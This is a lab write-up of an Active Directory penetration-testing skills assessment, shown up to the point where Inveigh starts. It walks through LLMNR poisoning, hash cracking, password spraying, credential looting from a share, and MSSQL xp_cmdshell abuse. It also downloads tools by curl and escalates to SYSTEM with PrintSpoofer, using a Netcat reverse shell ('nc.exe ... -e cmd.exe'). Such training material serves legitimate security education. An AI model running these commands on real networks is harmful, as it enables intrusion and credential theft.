Post cover image

August 12, 2026

Active Directory — Skill Assessment Part II

Hello everyNYAN! Pix here, back again, still glowing, still moving too fast to stand still.

By Ahmet

19 min read

Today's subject is the AD Enumeration & Attacks — Skills Assessment Part II. Part I ended with a clean domain compromise; this one drops us in with nothing but network access and asks us to earn our way in. Let's dive in.

First of all, our friends left us a note:

Connect to the internal attack host via SSH (you can also connect to it using xfreerdp as shown in the beginning of this module) and begin looking for a foothold into the domain.

So we start from an internal Linux host with a foot in two networks, and we have to find our own way into the domain from there. Let's go.

Obtain a password hash for a domain user account that can be leveraged to gain a foothold. What is the account name?

The note points us at an internal attack host, so let's connect and start Responder to poison name-resolution traffic and catch a hash.

$ ssh htb-student@10.129.86.14
<...SNIP...>
htb-student@10.129.86.14's password:
Linux skills-par01 5.15.0-15parrot1-amd64 #1 SMP Debian 5.15.15-15parrot2 (2022-02-15) x86_64
 ____                      _     ____
|  _ \ __ _ _ __ _ __ ___ | |_  / ___|  ___  ___
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
|  __/ (_| | |  | | | (_) | |_   ___) |  __/ (__
|_|   \__,_|_|  |_|  \___/ \__| |____/ \___|\___|

The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr  9 18:29:27 2022 from 10.10.14.15
┌─[htb-student@skills-par01]─[~]
└──╼ $ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether a2:de:ad:31:b4:fd brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    inet 10.129.86.14/16 brd 10.129.255.255 scope global dynamic noprefixroute ens192
       valid_lft 2462sec preferred_lft 2462sec
    inet6 dead:beef::d9c:44d7:a9cb:5639/64 scope global dynamic noprefixroute
       valid_lft 86401sec preferred_lft 14401sec
    inet6 fe80::9833:cd:d7bc:c39e/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether a2:de:ad:8c:4d:4a brd ff:ff:ff:ff:ff:ff
    altname enp19s0
    inet 172.16.7.240/23 brd 172.16.7.255 scope global noprefixroute ens224
       valid_lft forever preferred_lft forever
    inet6 fe80::2957:2d31:5225:229a/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:1e:43:dc:1c brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

Note the two interfaces: ens192 sits on the 10.129.x.x side we came in on, and ens224 sits on the internal 172.16.7.0/23 domain network. That second NIC is our way into the domain, so that's the interface we point Responder at.

$ sudo responder -I ens224
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]
[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]
[+] Generic Options:
    Responder NIC              [ens224]
    Responder IP               [172.16.7.240]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']
[+] Current Session Variables:
    Responder Machine Name     [WIN-G00H3SYBKUV]
    Responder Domain Name      [FFQV.LOCAL]
    Responder DCE-RPC Port     [45751]
[!] Error starting TCP server on port 3389, check permissions or other servers running.
[+] Listening for events...

Now we wait. After a while, a host starts resolving names we're happy to answer for.

[*] [MDNS] Poisoned answer sent to 172.16.7.3      for name INLANEFRIGHT.LOCAL
[*] [LLMNR]  Poisoned answer sent to 172.16.7.3 for name INLANEFRIGHT
[*] [MDNS] Poisoned answer sent to 172.16.7.3      for name INLANEFRIGHT.LOCAL
[*] [LLMNR]  Poisoned answer sent to 172.16.7.3 for name INLANEFRIGHT

Notice the typo in the name being requested, INLANEFRIGHT instead of INLANEFREIGHT. That misspelling is exactly why LLMNR/NBT-NS poisoning works: DNS fails on the typo, the host falls back to broadcast name resolution, and we answer. Captured hashes land in /usr/share/responder/logs/.

$ls /usr/share/responder/logs
Analyzer-Session.log  Config-Responder.log  Poisoners-Session.log  Responder-Session.log  SMB-NTLMv2-SSP-172.16.7.3.txt

The SMB-NTLMv2-SSP-172.16.7.3.txt file holds our answer: the account name is right at the start of the captured hash.

$cat /usr/share/responder/logs/SMB-NTLMv2-SSP-172.16.7.3.txt
AB***::INLANEFREIGHT:0c6498a2a4acd121:FC356D6ADC6D88DF90AC4AE7C5A81948:010100000000000080807217BC4DD80128BCE65BE5F2DD84000000000200080036004A004500310001001E00570049004E002D005<...SNIP...>

Hooray!

What is this user's cleartext password?

We can crack this offline with John or Hashcat.

Quick note: if you're ever unsure what kind of hash you're holding, hashid will tell you.

$ hashid 'AB***::INLANEFREIGHT:0c6498a2a4acd121:FC356D6ADC6D88DF90AC4AE7C5A81948:010100000000000080807217BC4DD80128BCE65BE5F2DD84000000000200080036004A004500310001001E00570049004E002D00500049004D<...SNIP...>
'
Analyzing 'AB***::INLANEFREIGHT:0c6498a2a4acd121:FC356D6ADC6D88DF90AC4AE7C5A81948:010100000000000080807217BC4DD80128BCE65BE5F2DD84000000000200080036004A004500310001001E00570049004E002D00500049004D<...SNIP...>'
[+] NetNTLMv2

It's a NetNTLMv2 hash, so we tell John the netNTLMv2 format and feed it rockyou.

$ echo 'AB***::INLANEFREIGHT:0c6498a2a4acd121:FC356D6ADC6D88DF90AC4AE7C5A81948:010100000000000080807217BC4DD80128BCE65BE5F2DD84000000000200080036004A004500310001001E00570049004E002D00500049004D<...SNIP...>' > AB***
$ john --format=netNTLMv2 -w=/usr/share/wordlists/rockyou.txt AB920
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
we***           (AB***)
1g 0:00:00:00 DONE (2026-08-05 06:15) 10.00g/s 2908Kp/s 2908Kc/s 2908KC/s winers..temyong
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

And there's our second answer, cracked instantly.

Submit the contents of the C:\flag.txt file on MS01.

We're on the internal host but we don't know the layout yet, so first let's find the other machines. fping sweeps the subnet quickly.

$fping -asgq 172.16.7.0/23
172.16.7.3
172.16.7.50
172.16.7.60
172.16.7.240

510 targets
       4 alive
     506 unreachable
       0 unknown addresses
    2024 timeouts (waiting for response)
    2028 ICMP Echos sent
       4 ICMP Echo Replies received
    2024 other ICMP received
 0.041 ms (min round trip time)
 1.30 ms (avg round trip time)
 1.93 ms (max round trip time)
       14.685 sec (elapsed real time)

Four hosts alive (remember, 172.16.7.240 is us). Let's fingerprint the other three to see what they are.

$nmap -A -Pn -T4 --min-rate 1000 172.16.7.3 172.16.7.50 172.16.7.60 -p 445,134,135,3389,5895
Starting Nmap 7.92 ( https://nmap.org ) at 2026-08-05 06:21 EDT
Stats: 0:00:24 elapsed; 0 hosts completed (3 up), 3 undergoing Script Scan
NSE Timing: About 99.69% done; ETC: 06:22 (0:00:00 remaining)
Nmap scan report for inlanefreight.local (172.16.7.3)
Host is up (0.0014s latency).
PORT     STATE  SERVICE       VERSION
134/tcp  closed ingres-net
135/tcp  open   msrpc         Microsoft Windows RPC
445/tcp  open   microsoft-ds?
3389/tcp closed ms-wbt-server
5895/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: a2:de:ad:fc:44:b9 (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-08-05T10:22:03
|_  start_date: N/A
Nmap scan report for 172.16.7.50
Host is up (0.0016s latency).
PORT     STATE  SERVICE       VERSION
134/tcp  closed ingres-net
135/tcp  open   msrpc         Microsoft Windows RPC
445/tcp  open   microsoft-ds?
3389/tcp open   ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MS01.INLANEFREIGHT.LOCAL
| Not valid before: 2026-08-04T09:45:46
|_Not valid after:  2027-02-03T09:45:46
|_ssl-date: 2026-08-05T10:22:08+00:00; +1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: INLANEFREIGHT
|   NetBIOS_Domain_Name: INLANEFREIGHT
|   NetBIOS_Computer_Name: MS01
|   DNS_Domain_Name: INLANEFREIGHT.LOCAL
|   DNS_Computer_Name: MS01.INLANEFREIGHT.LOCAL
|   DNS_Tree_Name: INLANEFREIGHT.LOCAL
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-05T10:22:02+00:00
5895/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: MS01, NetBIOS user: <unknown>, NetBIOS MAC: a2:de:ad:32:f9:9d (unknown)
| smb2-time:
|   date: 2026-08-05T10:22:02
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
Nmap scan report for 172.16.7.60
Host is up (0.0013s latency).
PORT     STATE  SERVICE       VERSION
134/tcp  closed ingres-net
135/tcp  open   msrpc         Microsoft Windows RPC
445/tcp  open   microsoft-ds?
3389/tcp closed ms-wbt-server
5895/tcp closed unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: SQL01, NetBIOS user: <unknown>, NetBIOS MAC: a2:de:ad:f5:30:ce (unknown)
| smb2-time:
|   date: 2026-08-05T10:22:03
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| ms-sql-info:
|   Windows server name: SQL01
|   172.16.7.60\SQLEXPRESS:
|     Instance name: SQLEXPRESS
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 1433
|_    Clustered: false
Post-scan script results:
| clock-skew:
|   0s:
|     172.16.7.60
|     172.16.7.50
|_    172.16.7.3 (inlanefreight.local)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 25.21 seconds

That gives us the whole map:

  • 172.16.7.3: DC01 (domain controller)
  • 172.16.7.50: MS01 (RDP open)
  • 172.16.7.60: SQL01 (MSSQL 2019)
  • 172.16.7.240: PAR01 (us)

Before anything else, let's see if the cracked credentials are reused anywhere. To reach the internal hosts from our own tooling, I set up a dynamic SOCKS tunnel with SSH.

$ ssh -D 9050 htb-student@10.129.86.14
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
htb-student@10.129.86.14's password:
Linux skills-par01 5.15.0-15parrot1-amd64 #1 SMP Debian 5.15.15-15parrot2 (2022-02-15) x86_64
 ____                      _     ____
|  _ \ __ _ _ __ _ __ ___ | |_  / ___|  ___  ___
| |_) / _` | '__| '__/ _ \| __| \___ \ / _ \/ __|
|  __/ (_| | |  | | | (_) | |_   ___) |  __/ (__
|_|   \__,_|_|  |_|  \___/ \__| |____/ \___|\___|

The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug  5 05:58:45 2026 from 10.10.14.204
┌─[htb-student@skills-par01]─[~]
└──╼ $

With the tunnel up, run netexec through proxychains to test the credentials against MS01.

$ proxychains4 nxc smb 172.16.7.50 -u AB*** -p we***
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.7.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.7.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.7.50:135  ...  OK
SMB         172.16.7.50     445    MS01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:MS01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:None)
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.7.50:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.7.50:445  ...  OK
SMB         172.16.7.50     445    MS01             [+] INLANEFREIGHT.LOCAL\AB***:we***

The credentials are valid on MS01. Since RDP (3389) is open there, let's set up a route we can actually RDP through. This time I used sshuttle, which routes the whole subnet transparently, no proxychains needed for the RDP client.

$ sshuttle -r htb-student@10.129.86.14 172.16.7.0/23 -v
Starting sshuttle proxy (version 1.3.2).
c : Starting firewall manager with command: ['/usr/bin/sudo', '-p', '[local sudo] Password: ', '/usr/bin/env', 'PYTHONPATH=/usr/lib/python3/dist-packages', '/usr/bin/sshuttle', '-v', '--method', 'auto', '--firewall']
[local sudo] Password:
fw: Starting firewall with Python version 3.13.14
fw: ready method name nat.
c : Using default IPv4 listen address 127.0.0.1
c : IPv6 enabled: Using default IPv6 listen address ::1
<...SNIP...>
c : TCP redirector listening on ('127.0.0.1', 12300).
c : Starting client with Python version 3.13.14
c : Connecting to server...
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
htb-student@10.129.86.14's password:
 s: Running server on remote host with /usr/bin/python3 (version 3.9.2)
 s: latency control setting = True
 s: auto-nets:False
c : Connected to server.
fw: setting up.
<...SNIP...>
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.7.0/23 -p tcp --to-ports 12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
c : Accept TCP: 10.0.2.15:38482 -> 172.16.7.50:3389.

The subnet is now reachable. Let's RDP into MS01 and grab the flag.

$ xfreerdp /u:AB920 /p:we*** /v:172.16.7.50 /drive:share,/home/pixrei/Desktop/Tools/Active-Directory +clipboard
[06:35:32:105] [1129227:00113b0b] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Using /p is insecure
[06:35:32:105] [1129227:00113b0b] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Passing credentials or secrets via command line might expose these in the process list
[06:35:32:105] [1129227:00113b0b] [WARN][com.freerdp.client.common.cmdline] - [warn_credential_args]: Consider using one of the following (more secure) alternatives:
<...SNIP...>
None

We're in. Let's check what privileges this account actually has on the host.

C:\Users\AB920>whoami /groups
GROUP INFORMATION
-----------------
Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON      Well-known group S-1-5-14     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Not an admin, just a regular user, but that's enough to read the flag off the root of C.

C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is B8B3-0D72
Directory of C:\
04/11/2022  10:19 PM                24 flag.txt
02/25/2022  11:20 AM    <DIR>          PerfLogs
04/11/2022  10:00 PM    <DIR>          Program Files
04/01/2022  10:11 AM    <DIR>          Program Files (x86)
04/20/2022  06:51 AM    <DIR>          Users
04/20/2022  05:31 AM    <DIR>          Windows
               1 File(s)             24 bytes
               5 Dir(s)  18,939,838,464 bytes free
C:\>type flag.txt
aud1t_gr0u***

Use a common method to obtain weak credentials for another user. Submit the username.

The password policy is the thing to check here: if lockout is loose, password spraying is on the table. First let's build a user list by pulling domain accounts over SMB.

$ sudo crackmapexec smb 172.16.7.3 -u AB*** -p we*** --users | grep -oP '[A-Z]+\\\K[^ ]+' > users.txt

Then look at what the domain will actually let us get away with.

PS C:\Users\AB***> Get-DomainPolicy
Unicode        : @{Unicode=yes}
SystemAccess   : @{MinimumPasswordAge=0; MaximumPasswordAge=42; MinimumPasswordLength=1; PasswordComplexity=0;
                 PasswordHistorySize=0; LockoutBadCount=0; RequireLogonToChangePassword=0;
                 ForceLogoffWhenHourExpire=0; ClearTextPassword=0; LSAAnonymousNameLookup=0}
KerberosPolicy : @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1}
Version        : @{signature="$CHICAGO$"; Revision=1}
RegistryValues : @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]}
Path           : \\INLANEFREIGHT.LOCAL\sysvol\INLANEFREIGHT.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHI
                 NE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
GPOName        : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPODisplayName : Default Domain Policy

FYI, I imported PowerView.ps1 before this policy enumeration.

PS C:\> copy \\tsclient\\share\PowerView.ps1 C:\Users\AB***\
PS C:\Users\AB***> Import-Module .\PowerView.ps1
PS C:\Users\AB***> net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          0
Maximum password age (days):                          42
Minimum password length:                              1
Length of password history maintained:                None
Lockout threshold:                                    Never
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        SERVER
The command completed successfully.

Lockout threshold: Never, that's the green light. We can spray as much as we want without locking anyone out. So I sprayed a single likely password across the whole user list with kerbrute.

$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 users.txt We******
__             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/
Version: dev (9cfb81e) - 08/05/26 - Ronnie Flathers @ropnop
2026/08/05 07:14:58 >  Using KDC(s):
2026/08/05 07:14:58 >   172.16.7.3:88
2026/08/05 07:15:15 >  [+] VALID LOGIN:  BR***@inlanefreight.local:W****
2026/08/05 07:15:15 >  Done! Tested 2902 logins (1 successes) in 17.629 seconds

One hit out of 2902, a new user and their password, which also answers the next question.

Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

New credentials mean new access, so let's see what shares this user can reach.

$smbclient -L //172.16.7.3/ -U BR***
Enter WORKGROUP\BR***'s password:
Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Department Shares Disk      Share for department users
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

"Department Shares" is the interesting one. Rather than click through it by hand, let's spider it and let a module surface anything juicy.

$crackmapexec smb 172.16.7.3 -u BR*** -p W*** --share "Deparmnent Shares" -M spider_plus
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/slinky.py: No module named 'pylnk3'
SMB         172.16.7.3      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB         172.16.7.3      445    DC01             [+] INLANEFREIGHT.LOCAL\BR***:W****
SPIDER_P... 172.16.7.3      445    DC01             [*] Started spidering plus with option:
SPIDER_P... 172.16.7.3      445    DC01             [*]        DIR: ['print$']
SPIDER_P... 172.16.7.3      445    DC01             [*]        EXT: ['ico', 'lnk']
SPIDER_P... 172.16.7.3      445    DC01             [*]       SIZE: 51200
SPIDER_P... 172.16.7.3      445    DC01             [*]     OUTPUT: /tmp/cme_spider_plus

The results get written to /tmp/cme_spider_plus. Let's see what it found.

$cat /tmp/cme_spider_plus/172.16.7.3.json
{
    "Department Shares": {
        "IT/Private/Development/web.config": {
            "atime_epoch": "2022-04-01 11:04:06",
            "ctime_epoch": "2022-04-01 11:04:06",
            "mtime_epoch": "2022-04-01 11:05:02",
            "size": "1.17 KB"
        }
    },
    "IPC$": {
        "5c2a6014563f9373": {
            "atime_epoch": "1600-12-31 19:03:58",
<...SNIP...>

A web.config tucked away in IT/Private/Development, that's exactly the kind of file that leaks connection strings. Let's pull it down.

$ smbclient "//172.16.7.3/Department Shares" -U BR***
Password for [WORKGROUP\BR***]:
Try "help" to get a list of possible commands.
smb: \> cd IT/Private/Development
smb: \IT\Private\Development\> dir
  .                                   D        0  Fri Apr  1 11:04:07 2022
  ..                                  D        0  Fri Apr  1 11:04:07 2022
  web.config                          A     1203  Fri Apr  1 11:04:05 2022

10328063 blocks of size 4096. 8141923 blocks available

And there it is inside the connection string.

$ cat web.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.web>
       <membership>
           <providers>
               <add name="WebAdminMembershipProvider" type="System.Web.Administration.WebAdminMembershipProvider" />
           </providers>
       </membership>
       <httpModules>
              <add name="WebAdminModule" type="System.Web.Administration.WebAdminModule"/>
        </httpModules>
        <authentication mode="Windows"/>
        <authorization>
              <allow users="netdb"/>
        </authorization>
        <identity impersonate="true"/>
       <trust level="Full"/>
       <pages validateRequest="true"/>
       <globalization uiCulture="auto:en-US" />
           <masterDataServices>
            <add key="ConnectionString" value="server=Environment.GetEnvironmentVariable("computername")+'\SQLEXPRESS;database=master;Integrated Security=SSPI;Pooling=true"/>
       </masterDataServices>
       <connectionStrings>
           <add name="ConString" connectionString="Environment.GetEnvironmentVariable("computername")+'\SQLEXPRESS';Initial Catalog=Northwind;User ID=ne***;Password=D@********!"/>
       </connectionStrings>
  </system.web>
</configuration>\

That gives us a database user and password for the SQL01 host.

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

Let's connect to MSSQL with those credentials.

$impacket-mssqlclient ne***:"D@*****"@172.16.7.60
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>

A SQL shell is nice, but we want command execution on the host. xp_cmdshell gives us exactly that if we can turn it on.

SQL> enable_xp_cmdshell
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure
SQL>

It worked. Now let's see what privileges the SQL service account holds.

SQL> xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
NULL
There it is: SeImpersonatePrivilege. That privilege is the classic path to SYSTEM: it lets a tool like JuicyPotato, PrintSpoofer, or RoguePotato impersonate a privileged token. I went with PrintSpoofer.

From its GitHub page:

None

We need PrintSpoofer plus nc.exe (Netcat for Windows) on the target, so let's pull both down through the SQL shell.

SQL> xp_cmdshell "curl http://172.16.7.240:8000/PrintSpoofer64.exe -o C:\Windows\Temp\PrintSpoofer64.exe"
output
--------------------------------------------------------------------------------
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 27136  100 27136    0     0  1405k      0 --:--:-- --:--:-- --:--:-- 2038k
NULL
SQL> xp_cmdshell "curl http://172.16.7.240:8000/nc.exe -o C:\Windows\Temp\nc.exe"
output
--------------------------------------------------------------------------------
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 59392  100 59392    0     0  14.9M      0 --:--:-- --:--:-- --:--:-- 18.8M
NULLs

Start a listener on our box:

nc -lvnp 4443
listening on [any] 4443 ...

Then fire PrintSpoofer, which abuses the impersonation privilege and shovels a SYSTEM shell back to us over Netcat.

SQL> xp_cmdshell C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\nc.exe 172.16.7.240 4443 -e cmd.exe"
output
--------------------------------------------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
NULL
And the shell lands.
connect to [172.16.7.240] from (UNKNOWN) [172.16.7.60] 64414
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system

SYSTEM on SQL01. The flag is on the Administrator desktop.

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is B8B3-0D72
Directory of C:\Users\Administrator\Desktop
04/11/2022  10:32 PM    <DIR>          .
04/11/2022  10:32 PM    <DIR>          ..
04/11/2022  10:33 PM                21 flag.txt
               1 File(s)             21 bytes
               2 Dir(s)  17,227,640,832 bytes free
C:\Users\Administrator\Desktop>type flag.txt
type flag.txt
s3imp3rs****

Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?

We're SYSTEM on SQL01 now, so let's run some poisoning locally with Inveigh (the PowerShell cousin of Responder) and see if we can catch anything internal.

C:\Users\Administrator\Desktop>curl http://172.16.7.240:8000/Inveigh.ps1 -o C:\Users\Administrator\Desktop\Inveigh.ps1
curl http://172.16.7.240:8000/Inveigh.ps1 -o C:\Users\Administrator\Desktop\Inveigh.ps1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  296k  100  296k    0     0  43.1M      0 --:--:-- --:--:-- --:--:-- 57.8M

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is B8B3-0D72
 Directory of C:\Users\Administrator\Desktop
08/05/2026  08:19 AM    <DIR>          .
08/05/2026  08:19 AM    <DIR>          ..
04/11/2022  10:33 PM                21 flag.txt
08/05/2026  08:19 AM           303,194 Inveigh.ps1
               2 File(s)        303,215 bytes
               2 Dir(s)  17,227,890,688 bytes free
C:\Users\Administrator\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Desktop> Import-Module .\Inveigh.ps1
Import-Module .\Inveigh.ps1

Fire it up:

PS C:\Users\Administrator\Desktop> Invoke-Inveigh Y -NBNS Y -ConsoleOutput N -FileOutput Y
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
[*] Inveigh 1.506 started at 2026-08-05T08:21:18
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.7.60
[+] Spoofer IP Address = 172.16.7.60
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
